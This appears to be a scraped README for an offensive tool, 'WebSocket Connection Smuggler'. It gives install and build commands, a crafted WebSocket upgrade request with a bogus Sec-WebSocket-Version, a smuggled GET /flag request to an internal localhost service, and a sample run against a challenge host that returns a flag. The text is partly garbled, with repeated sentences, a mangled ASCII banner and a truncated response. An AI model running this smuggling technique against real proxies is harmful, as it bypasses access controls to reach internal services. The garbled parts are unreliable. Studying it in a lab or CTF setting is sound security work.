$ go get -u github.com/c-bata/go-prompt $ go get github.com/hahwul/websocket-connection-smuggler or
$ git clone https://github.com/hahwul/websocket-connection-smuggler $ cd websocket-connection-smuggler $ go build $ ./websocket-connection-smuggler $ websocket-connection-smuggler $ WCS(...) > set target {your target} # HTTPS $ WCS(...) > set ssl true # HTTP $ WCS(...) > set ssl false It used the default editor defined in the environment variables, such as vim and no. If you don't have any special settings, vim is the default.
$ WCS(...) > set o_data e.g
GET /socket.io/?transport-websocket HTTP/1.1 Host: localhost:80 Sec-WebSocket-Version: 4444 Upgrade: websocket It used the default editor defined in the environment variables, such as vim and no. If you don't have any special settings, vim is the default.
$ WCS(...) > set s_data e.g
GET /flag HTTP/1.1 Host: localhost:5000 ___ / \\ /\\ | . . \\ ////\\| || //// \\ ___//\ /// \\ \ /// |\\ | // | \\ \ \ / | \\ \ \ | \\ / / | \/ / --------- WebSocket Connection Smuggler by @hahwul WCS(target=>None | ssl=>false ) > set target challenge.0ang3el.tk:80 WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set o_data WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set s_data WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > send GET /socket.io/?transport-websocket HTTP/1.1 Host: localhost:80 Sec-WebSocket-Version: 4444 Upgrade: websocket 2019/11/30 03:39:15 HTTP/1.1 200 OK Content-Type: application/json Content-Length: 49 Date: Fri, 29 Nov 2019 18:39:15 GMT {"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"} gth: 119 Date: Fri, 29 Nov 2019 18:39:14 GMT �0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"5148720e07f240a99e6aa7457f41686f"}�40 
